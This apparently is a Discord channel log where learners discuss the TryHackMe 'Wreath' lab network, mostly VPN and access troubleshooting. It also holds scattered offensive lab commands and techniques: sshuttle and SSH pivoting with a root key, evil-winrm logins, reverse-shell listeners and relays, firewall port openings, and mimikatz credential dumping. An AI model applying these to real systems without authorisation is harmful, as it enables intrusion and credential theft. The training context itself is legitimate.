#wreath-network

1 messages Β· Page 11 of 1

ebon tapir
#

my listener could not connect to host ip : 10.200.51.200

#

i am making connection using burpsuit

#

help me aony one

crimson nest
#

What is the task?

ebon tapir
ashen jewel
#

I have an 8 day streak now but the access page is still not showing the connection pack. Any ideas on how I can troubleshoot this?

dry pendant
#

Try leaving and rejoining the room

#

or logging out and back in again

ashen jewel
#

Hmm... left the room -> logged out -> joined the room -> then it showed the access pack.

dry pendant
#

Cool πŸ™‚

ashen jewel
#

Thanks @dry pendant !

winter lintelBOT
#

Gave +1 Rep to @dry pendant

dry pendant
#

you're welcome πŸ™‚

crimson nest
ebon tapir
crimson nest
#

Did you add the content type header?

#

Oh wait

ebon tapir
crimson nest
#

Did you url encode the payload?

ebon tapir
#

I also used curl method

#

But failed to get reverse listening

crimson nest
#

Hmm maybe you should try another powershell payload

#

Payloadsallthethings too

ebon tapir
crimson nest
#

Aight

ebon tapir
crimson nest
#

Yeah that happnes to me too curl wont work for some reason

#

What did u used to set up a connection to the git server?

ebon tapir
ebon tapir
#

I got stuck since last 3 days

#

Someone help me to get out please

merry robin
#

Dare I ask why you've called your nc nc-dark? πŸ˜†

#

Also, could you try to get proper screenshots please? There is no way in hell I can read that top one

#

Also, please don't stick your tools in the home directory. I can see that other people have done that too, but still -- it's not fair on other users of the network

pallid vapor
merry robin
#

It's the name Dark used in his videos

#

The "use your username" instruction has obviously been taken rather literally

dry pendant
#

imitation is the sincerest form of flattery

crimson nest
#

I mean if your payload's ip is the ip of the web server then youbdont need socat to connect

#

But if you wany to access the git server from your box then recommend using sshuttle instead since its like a reverse vpn

#

So essentially check the ip and port of the payload

#

Make sure youre setting it up on the roght box

#

@ebon tapir

#

Oh and you have to enable a port in the firewall too i belive

#

Ok maybe ignore what i said before and see id the port youre listening on is open in the firewall

sweet valve
#

Hi guys, I am trying to re-download the OVPN file for the wreath network but I get a 404 error. I also regenerated the file. Does it take a while to be available for download.

#

?

ebon tapir
crimson nest
#

Nice i had some similar trouble with empire this moring too

#

Just needed a bit of time off

midnight birch
#

Is anyone using wreath right now

strange bison
#

Do you have a question?

midnight birch
#

@strange bison I am in the webserver but the id_rsa file just contains html and no key

strange bison
#

Ok, so someone probably broke it on your instance

#

It's like 25-40 people per network

merry robin
sweet valve
#

Hey everyone, regenerated my configuration file for Wreath, but when I go to download it, I get a 404 error. It's been like this the last 2 days. Would I need to create another THM account? Not sure why this is happening. I am able to download the openvpn file for the other rooms though. Just not for Wreath.

#
  • I regenerated my configuration file for Wreath
dry pendant
#

try leaving and rejoining the room

sweet valve
#

ok

dry pendant
#

if that doesn't work, clear your cache and log back out/in and then try again, or try rejoining the room after that

sweet valve
#

thanks I'll try that

dry pendant
#

hope it works

#

I've seen a few other people report similar things. Not sure what the problem is.

sweet valve
#

thanks will let you know

#

I'm 50% done and I learned a massive amount

#

wanna finish it lol

dry pendant
#

yeah, it's a fantastic room

sweet valve
#

hmm yeah still having an issue

#

Not sure what is causing it

#

worst case I'll have to create another thm account. Not sure if it is specific to my account

dry pendant
#

I highly doubt that

sweet valve
#

thanks I might do that

dry pendant
#

or see if you can choose a different vpn server maybe

#

Can't recall if wreath had options or not

sweet valve
#

there's only one option for VPN, it just says Wreath

#

is Throwback going to be similar to Wreath?

dry pendant
#

it's already out. I haven't done it. It has more boxes, focuses more on activedirectory

sweet valve
#

ok

dry pendant
sweet valve
#

awesome

#

I'm gonna do that after Wreath

crimson nest
#

Hey i need someone to explain this to me if sshuttle is like a reverse vpn and i got that connected to the web server meaning i van view the internal networks web site and indeed i can but only for .150 not for .100 question is what is blocking me from viewing the website on .100 from my machine?

lusty saffron
crimson nest
#

Ahh now that makes sense

merry robin
#

Correct

short vortex
#

Hello there! Newbie here!

#

one question, I just subscribed to THM and joined wreath. The thing is that it says "9 days of access left", ΒΏshould I worry?

willow grove
short vortex
#

Cool, thanks!!

lusty saffron
# merry robin Correct

Hey, may you please provide some details about how are these systems connected to form the network.
The IP whitelisting part, cannot connect to .100 and .150 directly from our machine.
I thought, I can try to figure this out in the Windows Defender Firewall for the rule WebServer by getting a RDP session on the final machine Wreath-PC.
I did a quick run :grin:

But I couldn't find much information in there.

merry robin
dry pendant
#

so all with the aws config?

pallid vapor
#

amazin

elder nimbus
#

Hi, I don't have access to any network even being in wreath room

#

So i can't continue with wreath room 😦

strange bison
elder nimbus
#

If I leave the room will I have to do a 10 day streak again?

waxen orbit
#

Nope.

dry pendant
#

Thanks for the awesome room, Muiri! It helped a good bit with the pen+ exam πŸ™‚ blobheart

stoic flicker
#

Don't forget the report!

random cedar
#

Hey guys, I am little stuck on Task 17 part 4, which host is it referring to?
A little nudge would be appreciated! πŸ™‚

crimson nest
#

The 2 other hosts that u havent yet compromised

random cedar
#

ahh right

#

so from the scan before that question?

crimson nest
#

Get nmap on the server and ip sweep them

random cedar
#

I think I got it, I may have misread the results

#

ok

#

I used the ip sweep 10.200.72.1-255

crimson nest
#

That should be sufficient

random cedar
#

right yeah I had at my results again and it made sense

#

thanks though!

crimson nest
#

Np

twilit copper
#

Hello guys, so i have been trying to recreate the Empire C2 server from the Win Server using http_hop. it worked yesterday but today when I execute the stager, it only gets the /news.php file on that GitServer machine. and nothing else. I wonder if that's a machine issue or something

#

Windows Powershell error

#

PHP server log

#

it got a hit, and yesterday it works fine. S o I am thinking maybe its a server issue?

crimson nest
#

Yeah probadly just go do something else and come back to it after a while

pale hinge
#

Dear God, someone is messing with the network

#

it's like working for like 2-3 minutes? and ssh connection is breaking and the loop goes on

fallow gulch
#

who's messing?

dry pendant
#

sounds like multiple vpns

fallow gulch
#

i just joined the wreath room

#

havent done anything yet

dry pendant
#

there are many different instances of the room also

ebon kite
#

Hi, I cant use sshuttle, command 'sshuttle -r root@10.200.99.200 -x 10.200.99.200 --ssh-cmd "ssh -i id_rsa -vvv" 10.200.99.0/24 -vvv', here is the debug message

#

after I change the mtu of wlan0, it returns error code 255, adding '-x' option doesn't work :"<

digital latch
#

Is it normal to have to download a new ovpn file to reconnect to the network?

tender panther
#

What's the question behind the question?

#

Like, what are you struggling with?

digital latch
#

When I am inactive for several hours and try to continue with the room (it says it's running at the top), I can't connect to any machines and it seems my vpn connection doesn't work. I will kill that connection and try to reconnect but it won't connect unless I download a new ovpn file. Not a huge deal because it only takes a couple of minutes to get a new one but I was just wondering if anyone else has had that issue.

tender panther
#

Yeah, I've had similar issues. But I was most of the time able to fix it by doing 'ifconfig tun0 down" + "ifconfig tun0 up"

#

When it seemed persistently unwilling to work properly, I used that THM Python script that does all the checks for you. There it often told me that there were two concurrent connections running. Maybe you're experiencing something similar.

digital latch
winter lintelBOT
#

Gave +1 Rep to @tender panther

tender panther
#

Yw. Hope it helps!

fathom glacier
#

if i'm a paid user, do i still need a 7 day streak to have access?

willow grove
#

Streak limitation is only for free users, so no

fathom glacier
#

k for some reason i have no access to any networks

willow grove
#

You should have access to wreath if you subscribed. If you want access to throwback, then you have to pay extra

fathom glacier
#

i'm looking at my access panel and it says i don't have access

#

i still have my old ovpn file, but it doesn't connect (its from a month ago)

#

is there somewhere i can create a new ovpn file?

willow grove
#

You could try to clear cache / relog

fathom glacier
#

how would i do that?

#

im able to answer questions but i dont have access to the server? lol

#

got it. had to leave and rejoin

tall tusk
#

Hey!

#

I am getting this error ```
Load key "id_rsa": invalid format

tender panther
#

What's the full command you used?

dry pendant
tall tusk
#

Thanks Man πŸ˜„

#

Is Wreath down??

#

I am unable to connect to the network. Tried pinging too

dry pendant
#

the network goes to sleep after a while, you might have to start it back up again

tall tusk
#

I tried that.

fair breach
fierce river
merry robin
fierce river
#

I couldn't press enter earlier

polar holly
#

4? shdnt it be 5?

merry robin
#

3306 shouldn't be publicly accessible iirc. Either someone's messed with that machine, or your nmap is throwing a false positive

#

That's my response from it

tall tusk
#

Hi, Are we allowed to share a complete WriteUp for Wreath?

surreal sail
stoic flicker
#

but the format is that of a full pentest report

tall tusk
#

I wrote a normal Write Up for my Medium Account

stoic flicker
#

You'll have to ask @merry robin about that then

merry robin
#

In terms of getting accepted to the room: no, because there are explicit instructions for it. In terms of existing, I don't mind πŸ€·β€β™‚οΈ

tall tusk
#

Cool.

polar holly
#

didnt find this in the cli tho

winter lintelBOT
#

Gave +1 Rep to @merry robin

merry robin
merry robin
#

Then that should work just fine

polar holly
#

i didnt understand where to find the shell in HELP i couldnt find it

#

oh nvm am blind

#

sorry for the trouble

#

kill not working?
its the fact that am dumb but need help kekw

finite isle
#

Hello, I would like to know why I have no access to the Wreath network, I'm subscribed and my streak is enough

bronze tinsel
#

And is ur streak 7?

#

If yes and u are unable to get the vpn try leaving the room and join again this should help

finite isle
#

It worked for me, thank you

bronze tinsel
#

Sorry for the ping vent

finite isle
#

np

surreal sail
#

is something up with the network there's crazy packet loss and it's really fustrating

#

litterally I just started with this room and I'm running the nmap scan and the network goes down mid scan

#

.-.

#

like im doing a simple nmap scan and it's telling me i got 5 hours left ☹️

hard mortar
#

I doubt it

#

makes sure you don't have multiple VPNs open

surreal sail
#

nah i didnt I even rebooted

fallen jewel
#

got it

fluid shoal
#

When i am running the nmap on the compromised server, its throwing me an error as Permission Denied. What's wrong here ?

merry robin
#

Sounds like you haven't made it executable @fluid shoal

fluid shoal
#

ohh yeahh.. sorry my bad.. Thanks πŸ™‚

merry robin
#

Np πŸ™‚

keen yew
#

Hello i'm getting this error with socat reverse shell any idea ?

robust cloak
#

You shouldn't need to send back a reverse shell since you're already on the machine (and I think root has an id_rsa in the ssh folder?). If you're trying to pivot using socat, make sure to modify the firewall rules to allow you to use port 8888.

fierce river
#

hi guys, when ever I try to use evil-winrm i get stuck on Info: Establishing connection to remote endpointthis line, do we know any possible reason?

evil-winrm -u sniperop -p <password> -i 10.200.71.150 -P 5985     
Evil-WinRM shell v2.4
Info: Establishing connection to remote endpoint
#

also I am getting this error later on

error: An error of type HTTPClient::ConnectTimeoutError happened, message is execution expired

Error: Exiting with code 1

fierce river
#

like I dont have direct connection to the git-stack machine from my machine

merry robin
fierce river
#

yeah, i've done the pivoting

#

but still

#

i am able to get the webpage

merry robin
#

What technique did you use to pivot?

fierce river
#

first i used ssh port forwarding and then sshuttle

#

sudo sshuttle -r root@10.200.71.200 --ssh-cmd "ssh -i webserver/id_rsa" 10.200.71.0/24 -x 10.200.71.200

merry robin
#

And that is still active?

fierce river
#

yup

merry robin
#

Can you nmap port 5985?

#

And port 80, actually

fierce river
#

yup

merry robin
#

Both open?

fierce river
#

yup

merry robin
#

Could you disconnect from the VPN and send me your config file please?

#

Preferably over DM so it's not in the public chat

fierce river
#

where do I get the config file?

#

also

merry robin
#

Your .ovpn file

fierce river
#

oho k

#

do i just send it here or dm?

merry robin
#

DM

floral oar
#

I have issue with running mimikatz after getting the RDP session

#

It's gives error when I run privileged::debug

#

Any ideas how to fix it

#

For .150 network

merry robin
#

As in, right click -> Run as Administrator

floral oar
#

Yup I realised later

#

Thx anyways

solar rivet
#

Hi Guys, been having an issue since this morning. I can't reach any machine in the network, have regenerated my connection pack and the problem remains. What else can I do?

fluid shoal
#

Hi Guys, Why do i get sometimes the below error while creating a reverse shell and not always ?
[*] Start a netcat listener in a new window (nc -lvnp 1563) then press enter.

[+] You should now have a reverse shell on the target
[*] If this is not the case, please check your IP and chosen port
If these are correct then there is likely a firewall preventing the reverse connection. Try choosing a well-known port such as 443 or 53

#

Right now i am getting this error and not able to fix this

dense lotus
#

Hey you don't have access to any network

#

Vpn

#

Wreath

strange bison
#

Leave the room and rejoin

dense lotus
strange bison
#

Try leaving the room and rejoining.

fluid shoal
#

Hi Guys, I cannot see port 10000 opened on .200 server when ran a nmap scan? what might be the issue ?

#

PORT STATE SERVICE REASON
10000/tcp closed snet-sensor-mgmt reset ttl 63

hardy spire
#

Thank you @merry robin for all the effort you put in creating this room and all the content you managed to put in there. A long and satisfying journey!

winter lintelBOT
#

Gave +1 Rep to @merry robin

tropic crystal
#

About to start wreath, wish me luck!

merry robin
#

Good luck!

fervent obsidian
# merry robin What version of empire are you on? If 4.0 is publicly accessible now then that w...

A bit late but 4.0 was just dropped today.

https://twitter.com/BCSecurity1/status/1410623178313920520

We are happy to announce the GA release of #Empire 4.0 and #Starkiller 1.8 to Kali. A lot of effort went into this, and we hope that it will be as valuable to teams as it has been for us. Just to outline a few of the main changes: 🧡

#Cybersecurity #Infosec #RedTeam

merry robin
#

Yep, I saw the tweet. Congrats!
I'll get an update to Wreath out ASAP

fervent obsidian
#

Let me know if you need any help with screenshots or walkthroughs. I'm happy to lend a hand.

merry robin
#

Thank you! πŸ˜„

blazing rock
#

Wreath 2.0 when πŸ˜„

merry robin
#

kekw We'll see. Should have an Empire Section 2.0 in CMN's inbox tonight though

blazing rock
#

The Empire (4.0) Strikes Back.

latent spoke
#

πŸ‘€

dusky cloud
#

how get a revshell on local machine from pivoting machine using ssh remote port forwarding

jagged flame
#

Anyone else have trouble with Task 5 when adding <Target IP> thomaswreath.thm to your /etc/hosts file? The changes I’ve made are being ignored, so the website still won’t resolve. I’ve edited /etc/hosts as root and cleared my Firefox browser history and cache. I can ping/nmap the target without issue, however the connection always times out when I try to browse to it.

frozen barn
#

hey guys
i have a problem with entiring network
last task of pre security
can someone help me

honest breach
#

I'm having trouble accessing the network too. The VPN is up with MTU at 1200 and the Wreath machines are up. but I can't ping the web server. Any thoughts?

#

I've left, rejoined and generated a new OVPN file too, but no change.

honest breach
#

all good now

#

BTW on task 40, im having trouble uploading netcat onto wreath-pc using curl + powershell. I get a connection back but it's the file is not downloaded. Is it the anti-virus at work or something else I'm missing?

#

this is me getting a connection back from wreath-pc, but it's like the connection prematurely breaks or something

honest breach
#

I've decided to work from the web shell for task 41. might change to using SMB server from impacket for uploading curl & the other exploits

merry robin
#

Update:
Wreath has now been updated to handle Empire 4.0. The changes are live, so let us know if there are any problems!

blazing rock
#

Task 31 is new? πŸ™‚

dry pendant
#

It must be. I completed it before that existed

fair breach
#

It's apart of the new changes for Empire 4.0

#

It's mostly contextual as far as I can tell for the changes that we had to make

#

"we" me being 10% me & 90% muirl LMAO

leaden oyster
#

I am forwarding port 80 of 10.200.51.150 to my 7777 localhost

#

but this is what i get on my broswer?

#

what can be the issue?

#

Wreath task18

merry robin
leaden oyster
#

the tasks says that a login will be displayed

merry robin
#

Hints are useful

#

No, it tells you to go to the login screen

leaden oyster
#

ok thanks

#

i save hints for the last.didnt expectedthis lolz

merry robin
#

As a general rule, use the hints before asking for help -- they are there for a reason πŸ™‚
Nothing wrong with asking for help, but if you do it before using everything that you've been given (and before researching for that matter), then it's not nearly as beneficial

leaden oyster
#

noted

honest breach
#

I've just finished the network. The most amazing learning I had to date!! I'm writing the report in the following weeks! Thanks A LOT @merry robin !!!

winter lintelBOT
#

Gave +1 Rep to @merry robin

rain cape
#

yo, i just get "ssh-rsa: command not found" in Task 11 of Wreath room.
I have to write this command but the command doesn't exist and i tried a sudo apt install ssh-rsa but it doesn't exist, any ideas ?

#

ping me if you have an idea

robust cloak
leaden oyster
#

Suppose I compromised a server and have ssh access. It is also connected to a second server which is in internal network. I port forward a port of the internal server and get a rce on that. Now if i start a nc listener on the first compromisesd server and then execute a shell through rce gained on internal and server. And i specify lets suppose port 6666 then i will receive a reverse shell of internal server on my ssh of first server.

Now if i do local port forwarding and forward port 6666 of server 1 on my localhost:8000 the connection should be chained back to me. My question is that If i do. nc 127.0.0.1 8000on my machine, then will i be able to get a working shell on my machine?

#

can any one clear this

merry robin
leaden oyster
#

I used the relay method to get shell. On git server, but the other method which room tells is to to get a reverse shell on ssh of first machine

#

My question that can i forward that shell again to my machine

merry robin
#

That's what the relay does

swift geyser
#

no option for wreath in

#

access

#

page

#

vpn config

mild kelp
#

U will get acess to wreath vpn config file

boreal fog
#

i can't find a way to start server (maybe i'm missing something)

hard mortar
swift geyser
#

i again need a

#

7 day streak?

boreal fog
swift geyser
#

oh ok

mild kelp
#

U got the answer

open nebula
#

I m stuck on the empire part for quite a few daYS now.Anyone else faced the same problem??

mild kelp
#

some tricky questions lol

leaden oyster
#

i cant start the empire server?

merry robin
#

Um, I'm gonna refer you to the Discord link in the pins -- see if the Empire guys know πŸ˜†

leaden oyster
jagged flame
#

I'm unable to run the CVE for Task 6. I've tried troubleshooting by leaving the room, re-entering it, and then re-generating my configuration file but still no luck. Any suggestions?

#

I should also add that I've never been able to get the website to resolve from Task 5 either, even after editing my hosts file. I just jumped to the CVE hoping that I could carry on with the lab from this point on.

lyric bane
jagged flame
#

Thank you for the reply. I can ping the server just fine, no problem there. Here is the /etc/hosts file:

lyric bane
#

can you connect to it with netcat? Could just be that the network needs a reset.

jagged flame
#

I'll give nc a try the next time I take another shot at wreath, but yeah, probably time to just vote for a reset and cross my fingers. Thank you though.

leaden oyster
#

Anybody else had a problem with empire-framework after installing it through apt package manager?

#

The empire server doesn't startsmilesinpain

leaden oyster
merry robin
#

I told you, ask the BC-Security guys -- they made the thing

zenith oracle
#

Finished the room. No issues with empire on my end.

leaden oyster
merry robin
#

No, just join their discord server and ask

#

Pinned, as I said yesterday ^^

leaden oyster
#

Ok

#

Thanks

leaden oyster
#

WIll I receive the port scan back on my screen or not? Because the module section in room showed an example of sherlock module and it gave the results on the same screen

true mesa
#

I'm having an issue getting Mimikatz to run on the Windows box; I've tried both 32 and 64 versions to the same error message (below). Anyone know why it is being so cranky?

true mesa
true mesa
# true mesa Perhaps of note is that xfreerdp is no cooperating with me either, so instead I ...

Okay! I got Mimi working. Found a Drive Share option in 'man rdesktop' to use and with the Drive Share it works flawlessly. Still would be interested to know why the certutil avenue went so hard on its face though if anyone has any thoughts. I'm starting to wonder if pulling a file through a port relay on that intermediary machine may have compromised the file integrity or some such?

hard mortar
#

-undelete 1

winter lintelBOT
#

Up to 10 last deleted messages (last hour or 12 hours for premium):

none...

leaden oyster
#

I am connected to the gitserver through evilwinrm. I have portforwarded the gitserver port 5589 through ssh local forwarding of first webserver

#

ssh -L6001:10.200.51.150:5985 root@10.200.51.200 -i webserverssh NOw i access the evil-winrm shell through 127.0.0.1:6001

#

but i have problem uderstanding now how to to setup a proxy to connect to the personal pc

#

I have been stuck at this from yesterday so any help will be appreciated

lusty saffron
# leaden oyster but i have problem uderstanding now how to to setup a proxy to connect to the pe...
1. prod-serv - 10.200.x.200
2. git-serv  - 10.200.x.150
3. wreath-pc - 10.200.x.100

You can connect to wreath-pc in a similar way as you have connected to git-serv

prod-serv is allowed to access git-serv, this is why you can access git-serv through prod-serv

So in order to access wreath-pc, you will have to somehow access it through git-serv (you may already have visualized the network connections)

Thanks to Muiri, the room is pretty clear in every task.
For example, you can use sshuttle to route traffic first through prod-serv then through git-serv and finally you get access to wreath-pc.

winter lintelBOT
#

Gave +1 Rep to @leaden oyster

lusty saffron
#

||Setup a server on git-serv to allow you access to wreath-pc.
You can use plink.exe or chisel.exe as provided in the room
Always try ping YOUR_MACHINE to check if you can access your own machine to create reverse shells||

leaden oyster
leaden oyster
lusty saffron
#

There can be multiple ways to achieve the same or at least a similar result. Muiri made me greedy to wait for a sequel😜
Why do you not want to rely on ssh?

leaden oyster
#

i have been preparing myself for real things from start,so i usually follow or the do's and donts just like we would do in real assesments

leaden oyster
#

idk i maybe wrong ,But hey i got the thomas web runningsmirk2

leaden oyster
merry robin
leaden oyster
#

so stambling upon ssh credentials or private keys in real life is common?

merry robin
#

Less common than making your own

#

Credentials, possibly

#

Private keys should never be transferred, so having the private key of a user in the box in the authorized keys file for that account would be a little... odd

#

Root login should also not be active

leaden oyster
#

I heard that most ssh connections require private keys alongside passphrase in real networks

#

so credentials only will not help us in that case

lusty saffron
crimson nest
#

hey quick question here, what happens to the Empire C2 when a client go offline, do we lose the client or do we just lose connection until the client comes back on?

merry robin
#

If the victim goes offline in terms of internet then the implant will keep trying to connect back until it gets access back -- I.e. the agent will keep working once the victim regains internet (in theory)

#

If it goes offline in terms of switching off or restarting then the agent will die. The solution to that is setting up persistence (e.g. scheduled tasks, autorun scripts, etc)

crimson nest
#

ahh gotcha

#

thanks @merry robin

winter lintelBOT
#

Gave +1 Rep to @merry robin

merry robin
#

Np :)

patent raven
#

How often does it take on average for Wreath to reset? It's at 11m uptime and it still says "Resetting"

merry robin
#

Uh, not that long

#

Try refreshing the page @patent raven?

patent raven
#

Ohhhh now it says its running

#

Thanks @merry robin

winter lintelBOT
#

Gave +1 Rep to @merry robin

merry robin
#

Np πŸ™‚

patent raven
#

One more thing

#

I'm trying to run the python script to get into .150 but it says "No module named requests"

#

When I use pip to install it, it says I already have it

#

"requirement already satisfied"

merry robin
#

That's a Python2 vs Python3 thing

#

Try python2 -m pip install requests

#

Failing that, use the script I have pinned in here

patent raven
#

Ohhhhhhh oh thanks

#

Now it's saying pip isn't installed

#

I think I only have pip3 installed

#

Ok I installed pip2 and installed requests and now it works, thanks again @merry robin

winter lintelBOT
#

Gave +1 Rep to @merry robin

merry robin
#

Np πŸ™‚

uneven thorn
#

can anyone give me a tip on how to properly setup task 18

merry robin
uneven thorn
#

I'm struggling with using the recommended tool to setup my connection

merry robin
#

Screenshots would be useful

uneven thorn
#

ill see what I can do, I suddenly cant even ping prod-serv anymore so idk what thats about

#

Happened earlier too

fair breach
#

The network you're on is down again (it's been two hours since we got things up again in #room-help) networks are only active for 2 hours at a time unless they're restarted/started again

uneven thorn
#

yeah, it says its running again

#

but network uptime is a dash

fair breach
#

Mhhm I wonder why the network map / status is so unreliable atm

#

I'll report it to the software engineer team

uneven thorn
fair breach
#

That's so odd

uneven thorn
#

and it makes it so I cant interact with the start, so I guess im on a 2h time out lol

fair breach
#

Yeahhhh it sounds like it

uneven thorn
#

I tried regenerating the vpn config too but didnt change it

fair breach
#

If you were to leave the room and re-join you should be switched onto a different network

#

Let me test that

#

Yess

#

If you use the grey cog in the room -> leave you can join the wreath room again and it'll put you onto a new network

uneven thorn
#

okay, if I do that, is my current vpn info still fine though or will I need to regen?

fair breach
#

You won't loose your progress in terms of the answers that you've submitted already

#

You'll need to regen (:

uneven thorn
#

okay no big deal :p thanks again @fair breach

winter lintelBOT
#

Gave +1 Rep to @fair breach

fair breach
#

I wonder why that network is being funky

uneven thorn
#

it keeps showing me a different subnet when im not joined, then when I join its the same one

#

like if I leave it shows a different subnet but as soon as I rejoin, back to the original

fair breach
#

Mhhm yeah so it seems

#

Okay the 121 network is resetting now, let me look at on the backend

patent raven
#

I'm trying to run the powershell reverse shell with the python script and it's giving me a syntax error, am I not supposed to run the reverse shell through the script?

merry robin
hard mortar
#

quoting CMNatic

#

OI

uneven thorn
# merry robin I blame Holo

figured out the problem I was having that wasnt network related, went and watched the walkthrough video for task 18, I just didnt understand how sshuttle worked basically.

patent raven
#

Nvm I wasn't supposed to put the reverse shell into the script, me big dum dum πŸ™‚

patent raven
#

Ooooooookay new problem - WinRM is giving me odd errors

#

The error message is too long but apparently Discord can put it in a text file so thats neat

patent raven
#

Uhhh I think Wreath died now

#

I can't connect to it

uneven thorn
#

yeah it seems all wonky again on mine too

#

im going to take a break for a bit anyway I think lol

patent raven
#

I was just about to pull the trigger on .150 too 😒

uneven thorn
#

I was working on the c2 stuff lol

#

gonna take me a bit to reassemble that position but oh well I guess lol

patent raven
#

Oof

uneven thorn
#

I kinda just decided to try tackling this room earlier today on a whim anyway, I didnt really realize what I was getting myself into, but im glad I made it that far, ive been in big brain time for a bit on this one. Never attempted anything of this scale until now πŸ˜†

fair breach
#

If you're on 10.200.121.* still then the machines are still up & active (:

uneven thorn
#

i am but for some reason it seems like things arent working anymore

fair breach
#

interesting

#

I can ping okay personally

#

without trying to exploit/access anything that is πŸ˜„

patent raven
#

im on 10.200.49.x

uneven thorn
#

yeah, cant ping anything, was in the middle of setting up the c2 stuff and now I cant even ping the entry point

patent raven
#

^^^^^^

fair breach
#

Ah yeah, the machines on 10.200.49.* are stopped atm @patent raven

#

Have been for about an hour it looks like?

patent raven
#

Oh what

#

It says running for me

uneven thorn
#

sshuttle disconnected and everything in 121

patent raven
#

Ohhhh when I refresh it says stopped

uneven thorn
#

ah

fair breach
#

Can you ping 10.200.121.250 @uneven thorn ? that is the internal IP of the VPN server for that network

uneven thorn
#

has something to do with my openvpn to thm

#

tyhis time

fair breach
#

your machines are booting up now @patent raven give it a few mins to setup etc (:

patent raven
#

Also can I use RDP for the post-exploitation on .150? I can't get evil-winrm to work on my machine

patent raven
fair breach
#

I personally don't know I'm afraid πŸ˜…

uneven thorn
#

my openvpn is hanging for some reason

patent raven
#

I mean it lets me do it but I'm asking because the task says to avoid it

#

but I can't get evil-winrm to work

uneven thorn
#

TLS key negotiation failed, im going to try regen-ing again maybe?

fair breach
#

Mhhm I don't think regenning will solve that issue

#

Can you try connecting to the normal THM vpn servers? i.e. using your normal ovpn file?

uneven thorn
#

it worked πŸ˜†

#

idk, I regened, redownloaded rm old, mv new fire up openvpn, ping worked

#

πŸ€·β€β™‚οΈ

fair breach
#

oh aha

#

nice!

#

πŸ˜„

uneven thorn
#

im having a real tough time wrapping my head around this empire thing

#

when I setup listeners do I use my attacker IP or do I use one of the compromised servers? how do I even use the stagers? like im on the agents part and I just cannot figure out what im supposed to be doing

mild kelp
#

Is it compulsory to learn about empire? To go ahead in wreath network

uneven thorn
#

I kind of think so, im starting to get it now though

#

through some trial and error

uneven thorn
#

where does apt install empire?

#

I'm having trouble locating the scripts for the ps1

#

found it in the tools zip

uneven thorn
#

wewlad, what a ride that was. good luck everyone!

uneven thorn
#

That was actually probably one of the hardest things I've ever done. Really had to beat my head against the wall for a while there

merry robin
gloomy tangle
#

Hi! Did anybody get the "connection refused" error when trying to connect via SSH in "Task 18 - Git server pivoting" of https://tryhackme.com/room/wreath? Do you know how to fix this to do pivoting?

crimson nest
#

Make sure the network is up

gloomy tangle
crimson nest
#

Wait what are you trying to ssh into?

gloomy tangle
crimson nest
#

You said you were trying to connect with ssh

#

To what exactly

gloomy tangle
#

yes, i mean that i am trying to do pivoting through sshuttle. i would like to run the command ssh -i key.rsa root@10.200.98.200, so exploiting the --ssh-cmd I could do "--ssh-cmd "ssh -i key.rsa".

i am trying to run the command from my attacking machine in order to reach the webserver that is on 10.200.98.150

#

sshuttle -r root@10.200.98.200 --ssh-cmd "ssh -i key.rsa" 10.200.98.0/24 -x 10.200.98.200 &

crimson nest
#

Connection looks...

#

Fine to me

#

Maybe just wait around for a bit and try again?

#

Its weird like that sometimes

gloomy tangle
#

already tried from 12 a.m., something is not working. may it be an issue related with the network?

#

also when running ./CVE-2019-15107.py 10.200.56.200 for the exploitation task, the received error is "[-] Failed to connect to http://10.200.56.200:10000/", so host seems down!

crimson nest
#

Bruh the ip

#

Look at the ip

#

Make sure its correct

gloomy tangle
#

yes, it is the IP showed on the running network on THM.

uneven thorn
#

That was an amazing challenge tho, so glad I decided to try tackling that yesterday!

spice coral
#

How many votes does it need for a reset (8 players)? Looks like someone deleted the private key on .200 ...

#

or is there someone who could provide me with said file (already got root on that machine)

patent raven
#

It does let you vote again after an hour so technically you could just wait 8 hours...

spice coral
#

Ahh good to know, thanks!

merry robin
#

You shouldn't have to though

#

@spice coral if it's still a problem, disconnect from the VPN and DM me your config pack please :)

#

I'll fix the thing manually

spice coral
merry robin
#

Yeah, you shouldn't have to wait 8 hours to be able to reset it again just because someone is being a dick

#

(Hence offering to fix it)

uneven thorn
spice coral
uneven thorn
#

Oh didn't notice that, sorry!

torn ginkgo
#

Do we need to maintain a 7 day streak once we join the room?

merry robin
#

No :)

torn ginkgo
#

All good

main patrol
rotund dock
#

Hello

#

I have a problem on task 21

#

on post explotation

#

I want to dump the ntlm hash for administrator

#

from lsas memory

#

with mimikatz

#

and when i m trying to do privilege::debug

#

i m getting one error

#

i tried with x64 and x86 too

uneven thorn
#

Same error from both?

rotund dock
#

yes

#

never mind i got it

#

i had some problems with the machine bcs is very slow

uneven thorn
#

No problem :) glad you got it tho!

signal furnace
#

Hi! I just joined Wreath and I see this at the top left of the page. Does this mean that after 9 days, I will no longer be able to do Wreath?

strange bison
#

After 9 days, you'll need to rejoin the room

signal furnace
#

ahhh i see... thank you for the fast reply!!

spice coral
#

I finally got my pivoting up and running 9734konatacry

main patrol
#

man this machine takes forever to respond to my revshell

surreal sail
#

Hi, can anyone help me with sshuttle. I'm working on a kali-linux machine on wsl2 in windows and I get a fatal error regarding iptables and can't figure out the issue. See screen shot. Thanks

surreal sail
#

Can someone please help me on Wreath task 20, I can't get a shell back from 10.200.90.150, ive added a firewall exception using curl POST and firewall-cmd --zone=public --add-port PORT/tcp, ive set up a socat relay on 10.200.90.200:15100, i have a nc listener on kali port 443

#

I've tried using both Burp and the command line, but nothing happens apart from the server returning " " and the listener still listening

#

Although, I did not check the "encode all special characters" when using Cyberchef, could that maybe be it?

#

I wans't sure if I should encode every special character or not, I'll try again but encoding all of them and see if it works better.

surreal sail
#

Feelsbadman, still no luck even after encoding all special characters

surreal sail
#

oh my god man i cant for the life of me figure it out, i thought for sure i had got it now cause I realized 1 I set up the listener on the wrong machine, instead of the webserver 2 I put in wrong port and wrong IP

#

but even after fixing these and following the writeup, where the command works, it still doesnt do anything pepehands

spice coral
#

(Task 43)
Could someone explain to me why the wrapper file is called "System.exe" after copying and noc "SystemExplorerService64.exe" like the legitimate file?

rose arrow
#

hello, i am having trouble with empire on the attack box

#

how can i start it

merry robin
spice coral
winter lintelBOT
#

Gave +1 Rep to @merry robin

spice coral
#

After 2 days I finished Wreath thanks Muiri for the awesome room learned quite a lot πŸ˜„

rose arrow
#

how can I run the powershell-empire on the attack box

waxen orbit
surreal sail
#

thats what im trying to do

#

The one I have a full shell on is the linux machine

waxen orbit
#

You have web shell right?

surreal sail
#

yaeh on the prod-serv

#

